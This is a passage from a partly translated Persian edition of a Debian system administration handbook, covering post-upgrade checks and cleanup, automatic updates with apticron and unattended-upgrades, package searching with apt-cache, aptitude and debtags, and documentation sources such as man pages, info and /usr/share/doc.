برای پیش‌بینی این مشکلات، می‌توانید بسته apt-listchanges را نصب کنید که احتمال بروز مشکلات در ابتدای فرآیند بروزرسانی کلی را بررسی می‌کند. این اطلاعات توسط نگهدارنده‌های بسته کامپایل شده و در فایل /usr/share/doc/package/NEWS.Debian قرار می‌گیرند که کاربران از آن‌ها استفاده کنند. مطالعه این فایل‌ها (احتمالا از طریق apt-listchanges) شما را از غافلگیری‌های بد دور می‌کند.

You might sometimes find that the new version of a software doesn't work at all. This generally happens if the application isn't particularly popular and hasn't been tested enough; a last-minute update can also introduce regressions which are only found after the stable release. In both cases, the first thing to do is to have a look at the bug tracking system at https://bugs.debian.org/package, and check whether the problem has already been reported. If this is case, it will be also listed before the upgrade begins, if you have apt-listbugs installed. If it hasn't, you should report it yourself with reportbug. If it is already known, the bug report and the associated messages are usually an excellent source of information related to the bug:

گاهی اوقات یک patch در گزارش باگ موجود است؛ آنگاه می‌توانید بسته مشکل‌دار را کامپایل مجدد کنید ( قسمت 15.1, “بازسازی یک بسته از منبع آن” را مشاهده کنید)؛

در سایر موارد، کاربران راه حل‌های خود را برای مشکل پیدا می‌کنند و در گزارش باگ مربوطه قرار می‌دهند؛

در موردی دیگر، یک بسته اصلاح‌شده ممکن است توسط نگهدارنده اصلی آن آماده شده باشد.

Depending on the severity of the bug, a new version of the package may be prepared specifically for a new revision of the stable release. When this happens, the fixed package is made available in the proposed-updates section of the Debian mirrors (see قسمت 6.1.2.3, “بروزرسانی‌های پیشنهادی” ). The corresponding entry can then be temporarily added to the sources.list file, and updated packages can be installed with apt or aptitude.

Sometimes the fixed package isn't available in this section yet because it is pending a validation by the Stable Release Managers. You can verify if that is the case on their web page. Packages listed there aren't available yet, but at least you know that the publication process is ongoing.

→ https://release.debian.org/proposed-updates/stable.html

6.7.3. Cleaning Up after an Upgrade

APT usually ensures a clean upgrade, pulling in new and updated dependencies, or removing conflicting packages. But even being such a great tool, it cannot cover all tasks users and administrators will face after an upgrade, because they require a human decision.

6.7.3.1. Packages removed from the Debian Archive

Sometimes the Debian FTP Masters remove packages from the Debian archive, because they contain release critical bugs, were abandoned by their upstream author or their package maintainer, or simply reached their end of life. In this case a newer Debian release does not ship the package anymore. To find all packages, which do not have a package source, use the apt-show-versions command:

$ apt-show-versions | grep "No available version"

A similar result can be achieved by aptitude search ~o. If the packages found are not required anymore, they should be purged from the system, because they will not face any updates for critical or security related bugs anymore.

6.7.3.2. Dummy and Transitional Packages

Sometimes, it might be necessary for a package to get a new name. In this case often the old package is kept as an (almost) empty package, depending on the new one and installing only the mandatory files in /usr/share/doc/package/. Such packages are called "dummy" or "transitional" packages. If the package maintainer in charge also changed the section of this package to oldlibs, then tools like aptitude, deboprhan, or debfoster (see sidebar گزینه‌های جایگزین deborphan و debfoster) can pickup these packages to suggest their removal.

Unfortunately there is currently no foolproof way of making sure that these packages are automatically removed or picked by the tools mentioned above. One way to check if the system still has some of these packages installed, is to look through the package descriptions of installed packages and then check the results. Be careful not to schedule the results for automatic removal, because this method can lead to false positives:

$ dpkg -l | grep ^ii | grep -i -E "(transition|dummy)"

Because the new package is pulled in as a dependency of the transitional package, it is usually marked as automatically installed and might be scheduled for removal if you try to purge the transitional package from your system. In this case you can use either of the approaches described in sidebar نکته نصب و حذف در یک زمان and قسمت 6.2.7, “ردیابی خودکار بسته‌های نصب شده” to selectively remove the transitional package.

6.7.3.3. Old or Unused Configuration Files

If the upgrade was successful there might be some configuration file cruft, either from dpkg (see قسمت 5.2.3, “Checksums، فهرستی از فایل‌های پیکربندی” ), ucf or from removed packages. The latter can be purged by using apt autoremove --purge. The configuration files that were handled by dpkg or ucf during the upgrade process have left some counterparts with a dedicated suffix (e.g. .dpkg-dist, .dpkg-old, .ucf-old). Using the find or locate command can help to track them down. If they are no longer of any use, they can be deleted.

6.7.3.4. Files not owned by any Package

The Debian policy enforces that packages don't leave files behind when they are purged. Violating this principle is a serious bug and you will rarely encounter it. If you do, report it; and if you are curious though, you can use the cruft or cruft-ng package to check your system for files not owned by any package.

6.8. بروز نگهداشتن یک سیستم

The Debian distribution is dynamic and changes continually. Most of the changes are in the Testing and Unstable versions, but even Stable is updated from time to time, mostly for security-related fixes. Whatever version of Debian a system runs, it is generally a good idea to keep it up to date, so that you can get the benefit of recent evolution and bug fixes.

از آنجا که این امکان وجود دارد با استفاده از یک ابزار در زمان‌های مختلف اقدام به بررسی بروزرسانی‌ها و نصب آن‌ها صورت گیرد، چنین فعالیت تکراری بسیار طاقت‌فرسا خواهد شد به خصوص اگر روی ماشین‌های مختلف صورت پذیرد. خوشبختانه، مانند سایر فعالیت‌های تکراری، این فعالیت نیز می‌تواند خودکارسازی گردد و مجموعه ابزاری به همین منظور تهیه شده‌اند.

اولین ابزار apticron است که در بسته‌ای با همین نام قرار دارد. تاثیر اصلی آن اجرای یک اسکریپت به صورت روزانه است (از طریق cron). اسکریپت فهرست بسته‌های موجود را بروزرسانی می‌کند و اگر برخی بسته‌های نصب شده در این فهرست نباشند از طریق ایمیل به مدیرسیستم همراه با آخرین تغییراتی که در نسخه آخرشان صورت گرفته است، اطلاع می‌دهد. واضح است که این بسته اغلب برای کاربران نسخه Stable در نظر گرفته شده چرا که تغییرات در سایر نسخه‌ها با سرعت بیشتری روی می‌دهد. زمانی که بروزرسانی‌ها موجود باشند، apticron به صورت خودکار آن‌ها را دانلود می‌کند اما اقدام به نصب آن‌ها نمی‌کند -- چرا که کار مدیرسیستم است -- اما داشتن این بسته‌ها به صورت آفلاین (cache) سرعت انجام عملیات را افزایش می‌دهد.

Administrators in charge of several computers will no doubt appreciate being informed of pending upgrades, but the upgrades themselves are still as tedious as they used to be. Periodic upgrades can be enabled: it uses a systemd timer unit or cron. If systemd is not installed, the /etc/cron.daily/apt-compat script (in the apt package) comes in handy. This script is run daily (and non-interactively) by cron. To control the behavior, use APT configuration variables (which are therefore stored in a file /etc/apt/apt.conf.d/10periodic). The main variables are:

APT::Periodic::Update-Package-Lists

این گزینه تعداد روزهایی که برای یک بروزرسانی منتظر می‌مانید را مشخص می‌کند. کاربران apticron بدون این متغیر نیز قادر به اجرای آن هستند چرا که به صورت پیش‌فرض این فعالیت از طرف apticron صورت می‌پذیرد.

APT::Periodic::Download-Upgradeable-Packages

این گزینه نیز تعداد روزهایی که باید سپری شوند یا یک بسته دانلود شود را مشخص می‌کند. کاربران apticron به آن نیازی ندارند.

APT::Periodic::AutocleanInterval

این گزینه قابلیتی را شامل می‌شود که apticron ندارد. کنترل می‌کند که بسته‌های قدیمی (آن‌هایی که دیگر در هیچ توزیعی قرار ندارند) طی چه بازه زمانی از حافظه APT پاک شوند. این کار باعث تمیز نگهداشتن حافظه cache می‌گردد و دیگر نیازی نیست نگران پر شدن آن باشید.

APT::Periodic::Unattended-Upgrade

When this option is enabled, the daily script will execute unattended-upgrade (from the unattended-upgrades package) which — as its name suggest — can automatize the upgrade process for some packages (by default it only takes care of security updates, but this can be customized in /etc/apt/apt.conf.d/50unattended-upgrades). Note that this option can be set with the help of debconf by running dpkg-reconfigure -plow unattended-upgrades. If apt-listbugs is installed, it will prevent an automatic upgrade of packages which are affected by an already reported serious or grave bug.

Other options can allow you to control the cache cleaning behavior with more precision. They are not listed here, but they are described in the /usr/lib/apt/apt.systemd.daily script.

These tools work very well for servers, but desktop users generally prefer a more interactive system. The package gnome-software provides an icon in the notification area of desktop environments when updates are available; clicking on this icon then runs an interface to perform updates. You can browse through available updates, read the short description of the relevant packages and the corresponding changelog entries, and select whether to apply the update or not on a case-by-case basis.

شكل 6.3. بروزرسانی با استفاده از gpk-update-viewer

This tool is no longer installed in the default GNOME desktop. The new philosophy is that security updates should be automatically installed, either in the background or, preferably, when you shutdown your computer so as to not confuse any running application.

6.9. بروزرسانی‌های خودکار

از آنجایی که شرکت فالکوت تعداد زیادی رایانه به همراه نیروی انسانی محدود دارد، مدیرسیستم‌های آن تلاش دارند تا فرآیند بروزرسانی را تا آنجا که ممکن است خودکار سازند. برنامه‌هایی که برای این فرآیند لازم هستند باید بدون دخالت انسان اجرا شوند.

6.9.1. پیکربندی dpkg

As we have already mentioned (see sidebar مطالعه بیشتر پیشگیری از پرسش‌های فایل پیکربندی), dpkg can be instructed not to ask for confirmation when replacing a configuration file (with the --force-confdef --force-confold options). Interactions can, however, have three other sources: some come from APT itself, some are handled by debconf, and some happen on the command line due to package configuration scripts (sometimes handled by ucf).

6.9.2. پیکربندی APT

در مورد APT اینکار به سادگی صورت می‌گیرد: گزینه -y (یا --assume-yes) به APT می‌گوید پاسخ تمام پرسش‌ها را مثبت فرض کند.

6.9.3. پیکربندی debconf

در مورد debconf جزئیات بیشتری لازم است. این برنامه، در حقیقت برای کنترل میزان ارتباط و حجم پرسش‌های مربوط به یک بسته از کاربر به همراه چگونگی نحوه نمایش آن طراحی شده است. به همین دلیل است که پیکربندی آن نیازمند تعیین اولویت برای پرسش‌ها است؛ تنها پرسش‌هایی که بالاتر از حداقل اولویت تعریف شده باشند، نمایش می‌یابند. debconf برای پرسش‌هایی که تصمیم به نشان دادنشان ندارد از پاسخ پیش‌فرض (که نگهدارنده بسته تعریف کرده است) استفاده می‌کند.

عنصر مرتبط پیکربندی دیگر، رابطی است که توسط برنامه استفاده می‌شود. اگر گزینه noninteractive را انتخاب کنید، تمام تعاملات با کاربر غیر فعال می‌شود. اگر بسته‌ای تلاش کند که اطلاعات مهمی را به کاربر نشان دهد، از طریق ایمیل به مدیرسیستم اطلاع داده می‌شود.

برای پیکربندی مجدد debconf، از ابزار dpkg-reconfigure موجود در بسته debconf استفاده کنید؛ دستور مورد نظر عبارت است از dpkg-reconfigure debconf. نکته اینکه مقادیر تنظیم‌شده به صورت موقت می‌توانند با استفاده از متغیرهای محیطی هر زمان که لازم باشد، تغییر یابند (برای نمونه متغیر DEBIAN_FRONTEND رابط کاربری را کنترل می‌کند که مستندات آن در debconf(7) آمده است).

6.9.4. مدیریت شیوه تعامل با خط فرمان

آخرین منبع تعاملات و دشوارترین آن‌ها تنظیم، اسکریپت‌های پیکربندی هستند که توسط dpkg اجرا می‌شوند. متاسفانه روش استاندارد و پاسخ سراسری برای مدیریت آن‌ها وجود ندارد.

رویکرد متداول برای جلوگیری از ورودی استاندارد، فرستادن محتوای خالی /dev/null به سمت آن با استفاده از دستور command </dev/null است یا استفاده از تعداد نامحدودی newline. هیچ یک از این شیوه‌ها ۱۰۰٪ قابل اعتماد نیستند، اما معمولا منجر به استفاده از پاسخ پیش‌فرض می‌گردند چرا که اکثر اسکریپت‌ها عدم پاسخ به پرسش‌ها را به منزله پاسخ پیش‌فرض می‌دانند.

6.9.5. ترکیب جادویی

با ترکیب عناصر پیشین، امکان طراحی یک اسکریپت کوچک که توانایی مدیریت بروزرسانی‌های خودکار را داشته باشد، وجود دارد.

مثال 6.5. اسکریپت غیر-تعاملی بروزرسانی

export DEBIAN_FRONTEND=noninteractive yes '' | apt-get -y -o DPkg::options::="--force-confdef" -o DPkg::options::="--force-confold" dist-upgrade

در عمل مورد شرکت فالکوت

رایانه‌های شرکت فالکوت ساختار پیوسته‌ای دارند، با ماشین‌هایی که هر کدام عملکرد خاصی دارند. مدیرسیستم‌ها باید مرتبط‌ترین راه‌حل را برای هر رایانه انتخاب کنند.

In practice, the servers running Buster are configured with the “miracle combination” above, and are kept up to date automatically. Only the most critical servers (the firewalls, for instances) are set up with apticron, so that upgrades always happen under the supervision of an administrator.

The office workstations in the administrative services also run Buster, but they are equipped with gnome-packagekit, so that users trigger the upgrades themselves. The rationale for this decision is that if upgrades happen without an explicit action, the behavior of the computer might change unexpectedly, which could cause confusion for the main users.

در آزمایشگاه تعداد محدودی از رایانه‌ها بر روی Testing تنظیم شده‌اند -- تا از آخرین نرم‌افزارهای کاربردی بهره‌مند شوند -- به صورت خودکار بروزرسانی نمی‌شوند. مدیرسیستم‌ها APT را تنظیم کرده‌اند که تنها بروزرسانی‌ها را آماده کند ولی هیچ اقدامی جهت نصب صورت ندهد؛ زمانی که تصمیم به بروزرسانی بگیرند (به صورت دستی)، فرآیند خسته‌کننده بروزرسانی بسته‌ها و دانلود آن‌ها دیگر ضرورتی ندارد و مدیرسیستم‌ها می‌توانند روی بخش‌های کاربردی دیگر تمرکز کنند.

6.10. جستجو برای بسته‌ها

با توجه به حجم عظیم و رو به افزایش نرم‌افزار در دبیان، تضادی بوجود می‌آید: دبیان معمولا برای هر کاری یک ابزار مناسب دارد، اما یافتن همین ابزار از میان سایر گزینه‌های مشابه کاری دشوار است. عدم وجود روشی مناسب برای جستجو (و یافتن) ابزار مناسب خود به یک معضل در طی سال‌ها تبدیل شده است. خوشبختانه، این مشکل تقریبا از میان رفته است.

مختصرترین شیوه جستجو استفاده از نام دقیق بسته است. اگر apt show package نتیجه‌ای بازگرداند، آنگاه بسته موجود است. متاسفانه، این امر مستلزم دانستن یا حدس زدن نام بسته است، که همیشه مقدور نیست.

نکته اصول نامگذاری بسته

برخی طبقه‌بندی‌های مربوط به بسته‌ها از اصول نامگذاری خاصی پیروی می‌کنند؛ دانستن این الگوها به شما کمک می‌کند که نام بسته را به درستی حدس بزنید. برای نمونه، در مورد ماژول‌های Perl شیوه متداول این است که ماژول XML::Handler::Composer به صورت libxml-handler-composer-perl نامگذاری گردد. کتابخانه‌ای که اجازه استفاده از سیستم gconf پایتون را می‌دهد python-gconf نام دارد. متاسفانه شیوه استاندارد و ثابتی برای نامگذاری تمام بسته‌ها وجود ندارد، با این حال مدیر بسته‌ها سعی می‌کنند تا شیوه نامگذاری توسعه‌دهندگان بالادستی را رعایت کنند.

A slightly more successful searching pattern is a plain-text search in package names, but it remains very limited. You can generally find results by searching package descriptions: since each package has a more or less detailed description in addition to its package name, a keyword search in these descriptions will often be useful. apt-cache and axi-cache are the tools of choice for this kind of search (see گزینه‌های جایگزین axi-cache); for instance, apt-cache search video will return a list of all packages whose name or description contains the keyword “video”.

برای جستجوهای پیشرفته‌تر، ابزار پیشرفته‌تری مانند aptitude مورد نیاز است. aptitude اجازه جستجو منطقی در تمام فیلد‌های meta-data را می‌دهد. برای نمونه، دستور زیر به جستجوی بسته‌هایی می‌پردازد که نامشان شامل kino، توضیحشان شامل video و نام نگهدارنده‌اش شامل paul باشد:

$ aptitude search kino~dvideo~mpaul p kino - Non-linear editor for Digital Video data $ aptitude show kino Package: kino Version: 1.3.4+dfsg0-1 State: not installed Priority: optional Section: video Maintainer: Paul Brossier <piem@debian.org> Architecture: amd64 Uncompressed Size: 8,304 k Depends: libasound2 (>= 1.0.16), libatk1.0-0 (>= 1.12.4), libavc1394-0 (>= 0.5.3), libavcodec58 (>= 7:4.0) | libavcodec-extra58 (>= 7:4.0), libavformat58 (>= 7:4.0), libavutil56 (>= 7:4.0), libc6 (>= 2.14), libcairo2 (>= 1.2.4), libdv4 (>= 1.0.0), libfontconfig1 (>= 2.12.6), libfreetype6 (>= 2.2.1), libgcc1 (>= 1:3.0), libgdk-pixbuf2.0-0 (>= 2.22.0), libglade2-0 (>= 1:2.6.4-2~), libglib2.0-0 (>= 2.16.0), libgtk2.0-0 (>= 2.24.32), libice6 (>= 1:1.0.0), libiec61883-0 (>= 1.2.0), libpango-1.0-0 (>= 1.14.0), libpangocairo-1.0-0 (>= 1.14.0), libpangoft2-1.0-0 (>= 1.14.0), libquicktime2 (>= 2:1.2.2), libraw1394-11, libsamplerate0 (>= 0.1.7), libsm6, libstdc++6 (>= 5.2), libswscale5 (>= 7:4.0), libx11-6, libxext6, libxml2 (>= 2.7.4), libxv1, zlib1g (>= 1:1.1.4) Recommends: ffmpeg, curl Suggests: udev | hotplug, vorbis-tools, sox, mjpegtools, lame, ffmpeg2theora Conflicts: kino-dvtitler, kino-timfx, kinoplus Replaces: kino-dvtitler, kino-timfx, kinoplus Provides: kino-dvtitler, kino-timfx, kinoplus Description: Non-linear editor for Digital Video data Kino allows you to record, create, edit, and play movies recorded with DV camcorders. This program uses many keyboard commands for fast navigating and editing inside the movie. The kino-timfx, kino-dvtitler and kinoplus sets of plugins, formerly distributed as separate packages, are now provided with Kino. Homepage: http://www.kinodv.org/ Tags: field::arts, hardware::camera, implemented-in::c, implemented-in::c++, interface::graphical, interface::x11, role::program, scope::application, suite::gnome, uitoolkit::gtk, use::editing, use::learning, works-with::video, x11::application

جستجو تنها یک نتیجه بازگرداند، kino که با تمام شرایط فوق سازگار بود.

حتی این جستجوهای چند شرطی نیز آنطور که باید استفاده نمی‌شوند، که توضیح خوبی برای عدم فراگیر شدنشان می‌باشد. یک سیستم جدید برچسب‌گذاری به تازگی توسعه‌یافته است که رویکرد جدیدی در جستجو را ارائه می‌دهد. بسته‌ها به صورتی برچسب‌گذاری می‌شوند که به آن “facet-based classification” می‌گویند. در مورد kino، برچسب‌های آن می‌گویند که kino یک نرم‌افزار مبتنی بر GNOME است که با داده‌های تصویری کار کرده و هدف اصلی آن ویرایش است.

Browsing this classification can help you to search for a package which corresponds to known needs; even if it returns a (moderate) number of hits, the rest of the search can be done manually. To do that, you can use the ~G search pattern in aptitude, but it is probably easier to simply navigate the site where tags are managed:

→ https://debtags.debian.org/

انتخاب works-with::video و use::editing منجر به جستجو بسته‌های مرتبط می‌گردد، که شامل kino و pitivi نیز می‌شود. این سیستم طبقه‌بندی روز به روز بیشتر مورد استفاده قرار می‌گیرد و مدیر بسته‌ها نیز به مرور رابط‌های جستجوی کاربردی‌تری را برای آن فراهم می‌کنند.

در نتیجه، بهترین ابزار برای اینکار بستگی به پیچدگی جستجو مورد نظر شما دارد:

apt-cache تنها اجازه جستجو در نام و توضیحات بسته را می‌دهد، که برای یافتن بسته‌ای خاص با دانستن اطلاعات آن بسیار کاربردی است؛

زمانی که شرایط جستجو شامل روابط بین بسته‌ها و meta-data آن‌ها شود، synaptic کاربردی‌تر خواهد بود؛

زمانی که جستجو بر اساس برچسب مورد نیاز باشد، یک ابزار خوب packagesearch است، رایط گرافیکی که امکان جستجو بر اساس برچسب‌ها و موارد دیگر را فراهم می‌کند (مانند نام فایلی که آن را در بر دارد). برای استفاده در خط فرمان، axi-cache انتخاب مناسبی است.

در نهایت، زمانی که جستجو شامل عبارت‌های پیچیده و عملگرهای منطقی باشد، ابزار مورد انتخاب، الگوی جستجو در aptitude است که با وجود عجیب بودنش بسیار قدرتمند است؛ در هر دو حالت خط فرمان و تعاملی نیز کار می‌کند.

فصل 7. حل مشکلات و یافتن اطلاعات مرتبط

برای یک مدیرسیستم، مهمترین توانایی شیوه مواجه با یک مشکل شناخته‌شده یا نشده است. این فصل به بررسی شیوه‌هایی می‌پردازد که امیدواریم شما را در مواجه به مشکلات پیش رو و چگونگی حل آن‌ها راهنمایی نماید.

7.1. منابع مستندات

قبل از اینکه متوجه شوید هنگام بروز مشکل چه اتفاقی افتاده است، باید نقش هر یک از برنامه‌های دخیل در مشکل بوجود آمده را به صورت نظری بدانید. بدین منظور، بهترین عکس‌العمل مراجعه به مستندات رسمی آن‌ها است؛ اما از آنجایی که این مستندات به صورت پراکنده وجود دارند، باید مکان‌هایی که در آن‌ها یافت می‌شوند را شناسایی کنید.

7.1.1. صفحات راهنما

فرهنگ RTFM

این عبارت مخفف “Read the F***ing Manual” است، که شیوه مودبانه‌ترش می‌شود “Read the Fine Manual”. این عبارت اغلب در پاسخ به پرسش‌های تازه‌کاران داده می‌شود. معمولا به صورت ناگهانی و در پاسخ به کسی که مستندات یک برنامه را مطالعه نکرده است، داده می‌شود. برخی اعتقاد دارند که این پاسخ کلاسیک بهتر از پاسخ ندادن است (چرا که نشان می‌دهد مستندات شامل اطلاعات مربوطه هستند) یا حتی از بهتر یک پاسخ کلی یا همراه با عصبانیت.

در هر صورت، اگر کسی در پاسخ به شما از “RTFM” استفاده کرد، رفتار عاقلانه این است که حالت تهاجمی به خود نگیرید. از آنجا که این پاسخ ممکن است آزاردهنده باشد، شاید علاقه نداشته باشید آن را از کسی بشنوید. اگر اطلاعات مورد نظر شما داخل راهنما وجود نداشت، که اتفاق نیز می‌افتد، شاید بخواهید که در پرسش اولیه خود به آن اشاره کنید. قبل از اینکه پرسش خود را در یک انجمن مطرح کنید، بهتر است تمام قدم‌های مورد نیاز برای حل مساله را شرح دهید. راهنمای حل مساله توسط Eric Raymond یکی از بهترین شیوه‌های برخورد با مشکلات و چگونگی دریافت پاسخ‌های مناسب است.

→ http://catb.org/~esr/faqs/smart-questions.html

Manual pages, while relatively terse in style, contain a great deal of essential information. We will quickly go over the command for viewing them, provided by the man-db package. Simply type man manual-page — the manual page usually goes by the same name as the command whose documentation is sought. For example, to learn about the possible options for the cp command, you would type the man cp command at the shell prompt (see sidebar بازگشت به مقدمات پوسته، مفسر خط فرمان).

بازگشت به مقدمات پوسته، مفسر خط فرمان

یک مفسر خط فرمان، که به نام “پوسته” نیز شناخته می‌شود، برنامه‌ای است که به اجرای دستورات مستقیم از طرف کاربر یا موجود در یک اسکریپت می‌پردازد. در حالت تعاملی، یک prompt نمایش می‌دهد (که معمولا برای کاربران عادی به $ و برای کاربران با دسترسی بالا به # ختم می‌شود) که نشان‌دهنده آمادگی دریافت یک دستور جدید را دارد. پيوست B, درس کاربردی کوتاه مقدمات استفاده از یک پوسته را توضیح می‌دهد.

پوسته پیش‌فرض و پرکاربری که استفاده می‌شود bash یا Bourne Again SHell نام دارد، اما گزینه‌های دیگری نیز موجود است، از جمله dash، csh، tcsh و zsh.

Among other things, most shells offer help (type help) and assistance during input at the prompt, such as the completion of command or file names (which you can generally activate by pressing the tab key), or recalling previous commands (history management; i.e. check out the mappings for "page up" and "page down" in /etc/inputrc).

Man pages not only document commands and programs accessible from the command line, but also configuration files, system calls, library functions, and so forth. Sometimes names can collide. For example, the shell's read command has the same name as the read system call. This is why manual pages are organized in numbered sections:

1

دستوراتی که می‌توانند از طریق خط فرمان اجرا شوند؛

2

فراخوانی‌های سیستمی (توابعی که توسط کرنل ارائه شده‌اند)؛

3

توابع کتابخانه‌ای (توابعی که توسط کتابخانه‌‌های سیستمی ارائه شده‌اند)؛

4

دستگاه‌ها (در سیستم‌های شبه-یونیکس، این‌ها فایل‌های مخصوصی هستند که معمولا در مسیر /dev/ قرار می‌گیرند)؛

5

فایل‌های پیکربندی (قالب‌ها و قواعد)؛

6

بازی‌ها؛

7

مجموعه‌ای از ماکروها و استانداردها؛

8

دستورات مرتبط با مدیریت سیستم؛

9

روتین‌های کرنل.

این امکان وجود دارد که قسمت مشخصی از صفحه راهنما را درخواست کنید: جهت مشاهده مستندات مربوط به فراخوانی سیستمی read، تایپ می‌کنید man 2 read. زمانی که هیچ قسمتی مشخص نشده باشد، اولین قسمتی که راهنما به نام آن ثبت گردیده، نمایش داده می‌شود. بنابراین، اجرای دستور man shadow منجر به فراخوانی shadow(5) می‌گردد چرا که هیچ صفحه راهنمایی برای shadow در قسمت‌های ۱ تا ۴ وجود ندارد.

نکته whatis

اگر قصد ندارید که راهنمای کامل یک برنامه را مطالعه کنید، اما توضیح کوتاهی درباره کلیت یک برنامه به دست آورید، تنها کافی است تایپ کنید whatis command.

$ whatis scp scp (1) - secure copy (remote file copy program)

توضیح مختصر در قسمت NAME هر یک از صفحات راهنما قرار دارد.

البته اگر نام دستورات را نیز نمی‌دانید، راهنما به کار شما نمی‌آید. این جایی است که دستور apropos کاربرد دارد، که به جستجو در میان صفحات راهنما می‌پردازد، یا به طور خاص در قسمت توضیح مختصر آن‌ها. هر صفحه راهنما با یک خط خلاصه آعاز می‌گردد. apropos فهرستی از صفحات راهنما را باز می‌گرداند که کلیدواژه مورد نظر در خلاصه آن‌ها موجود باشد. اگر به درستی آن‌ها را برگزینید، نام دستوری که به دنبال آن هستید را پیدا می‌کنید.

مثال 7.1. جستجوی cp با apropos

$ apropos "copy file" cp (1) - copy files and directories cpio (1) - copy files to and from archives hpcopy (1) - copy files from an HFS+ volume install (1) - copy files and set attributes ntfscp (8) - copy file to an NTFS volume.

نکته مرور لینک‌های موجود در راهنما

بسیاری صفحات راهنما شامل یک قسمت “SEE ALSO” نیز هستند، که در انتها قرار دارد. این قسمت به سایر صفحات راهنما که مرتبط با این دستور هستند اشاره می‌کند، یا به مستندات خارجی. در این روش، احتمال یافتن مستندات مرتبط‌تر در صورتی که صفحه راهنما کاربردی نباشد نیز وجود دارد.

The man command is not the only means of consulting the manual pages, since khelpcenter and konqueror (by KDE) and yelp (under GNOME) programs also offer this possibility. There is also a web interface, provided by the man2html package, which allows you to view manual pages in a web browser. On a computer where this package is installed, use this URL after following the instructions in /usr/share/doc/man2html/README.Debian:

→ http://localhost/cgi-bin/man/man2html

این ابزار نیاز به یک وب‌سرور دارد. به همین دلیل آن را باید روی یکی از سرورهای خود نصب کنید: تمام کاربران شبکه محلی می‌توانند از امکانات آن بهره‌مند گردند (از جمله ماشین‌های غیر لینوکس) و این امکان نیز برای شما فراهم می‌شود که روی هر ماشین اقدام به نصب HTTP سرور نکنید. اگر سرور شما از شبکه‌های دیگری نیز قابل دسترس است، می‌توانید تنها به کاربران موجود در شبکه محلی خود اجازه استفاده از این سرویس را بدهید.

Last but not least, you can view all manual pages available in Debian (even those that are not installed on your machine) on the manpages.debian.org service. It offers each manual page in multiple versions, one for each Debian release.

→ https://manpages.debian.org

خط‌مشی دبیان صفحات راهنمای مورد نیاز

دبیان هر برنامه را ملزم به داشتن یک صفحه راهنما می‌کند. اگر توسعه‌دهنده اصلی چنین کاری نکرده است، مدیر بسته دبیان که مسئولیت نگهداری از بسته را به عهده دارد با نوشتن یک راهنمای کوچک کاربران را به راهنمای اصلی برنامه هدایت می‌کند.

7.1.2. اسناد info

پروژه گنو برای اکثر برنامه‌های خود در قالب info راهنما نوشته است؛ این دلیلی است که اکثر صفحات راهنما به مستندات info نیز ارجاع می‌دهند. این قالب شامل مزیت‌هایی است اما برنامه‌ای که این اسناد با استفاده از آن مشاهده می‌شوند (که آن نیز info نامیده می‌شود) پیچیدگی‌های مربوط به خود را دارد. توصیه می‌شود که از pinfo به جای آن استفاده کنید (از بسته pinfo).

مستندات info دارای ساختاری سلسله‌مراتبی است، و اگر pinfo را بدون هیچ پارامتری فراخوانی کنید، به نمایش فهرستی از گره‌های موجود در سطح اول می‌پردازد. معمولا، گره‌ها هم نام با دستورات مرتبط با خود هستند.

With pinfo navigating between these nodes is easy to achieve with the arrow keys. Alternatively, you could also use a graphical browser, which is a lot more user-friendly. Again, konqueror and yelp work; the info2www package also provides a web interface.

→ http://localhost/cgi-bin/info2www

نکته اینکه سیستم info مناسب ترجمه نیست، بر خلاف سیستم صفحات man. اسناد info معمولا به زبان انگلیسی هستند. اگرچه، اگر با man درخواست برنامه info را بکنید که وجود ندارد، به صورت پیش‌فرض از صفحه man همان برنامه استفاده می‌کند که ممکن است ترجمه شده باشد.

7.1.3. مستندات خاص

هر بسته شامل مستندات مربوط به خود است. حتی برنامه‌هایی که کمترین میزان مستندات را شامل می‌شوند، فایل README دارند که برخی اطلاعات جالب و مهم را در بر می‌گیرد. این مستندات در مسیر /usr/share/doc/package/ نصب می‌شود (که package نام بسته را مشخص می‌کند). اگر مستندات به نسبت بزرگ و حجیم باشد، ممکن است در بسته برنامه قرار نگیرد، اما در بسته اختصاصی دیگری باشد که معمولا به صورت package-doc نامگذاری می‌شود. بسته اصلی معمولا به نصب بسته مستندات خود توصیه می‌کند تا بتوانید به راحتی از آن استفاده کنید.

The /usr/share/doc/package/ directory also contains some files provided by Debian which complete the documentation by specifying the package's particularities or improvements compared to a traditional installation of the software. The README.Debian file also indicates all of the adaptations that were made to comply with the Debian Policy. The changelog.Debian.gz file allows the user to follow the modifications made to the package over time: it is very useful to try to understand what has changed between two installed versions that do not have the same behavior. Finally, there is sometimes a NEWS.Debian.gz file which documents the major changes in the program that may directly concern the administrator (see قسمت 6.7.2, “بررسی مشکلات پس از بروزرسانی کلی” ).

7.1.4. وبسایت‌ها

در اکثر موارد، نرم‌افزارهای آزاد دارای وبسایتی هستند که نه تنها موجب گسترش آن‌ها می‌شود بلکه جامعه کاربری آن را نیز در بر می‌گیرد. این سایت‌ها معمولا با اطلاعات مرتبط در قالب‌های گوناگون گردآوری می‌شوند: مستندات رسمی، پرسش‌های متداول، بایگانی فهرست ایمیل و .... مشکلاتی که ممکن است با آن‌ها روبه‌رو شوید معمولا عنوان بسیاری پرسش‌ها هستند؛ پرسش‌های متداول یا بایگانی ایمیل ممکن است پاسخ شما را بدهند. مهارت در استفاده از موتورهای جستجو سبب می‌شود که به راحتی مطالب مورد نیاز خود را پیدا کنید (با محدود کردن جستجو به دامنه اینترنتی یا زیردامنه برنامه مورد نظر خود). اگر جستجو منجر به تولید صفحات بسیار زیاد یا آنچه مورد نیازتان نیست بشود، می‌توانید کلیدواژه debian را برای محدود کردن آن بکار ببرید.

TIP From error to solution

اگر نرم‌افزار یک پیام خطا بخصوص را صادر می‌کند، آن را در موتور جستجو وارد کنید (بین دو علامت "، به منظور جستجو دقیق همین عبارت). در اکثر موارد، اولین پیوندهای نمایش داده شده پاسخ شما را می‌دهند.

در سایر موارد، شما با خطاهای عمومی‌تر مواجه می‌شوید، مانند “Permission denied”. در این مورد، بهترین کار بررسی مجوزهای عناصر تاثیرگذار در اجرای برنامه هستند (فایل‌ها، شناسه کاربری، گروه‌ها و ...).

If you do not know the address for the software's website, there are various means of getting it. First, check if there is a Homepage field in the package's meta-information (apt show package). Alternately, the package description may contain a link to the program's official website. If no URL is indicated, look at /usr/share/doc/package/copyright. The Debian maintainer generally indicates in this file where they got the program's source code, and this is likely to be the website that you need to find. If at this stage your search is still unfruitful, consult a free software directory, such as FSF's Free Software Directory, or search directly with a search engine, such as Google, DuckDuckGo, Yahoo, etc.

→ https://directory.fsf.org/wiki/Main_Page

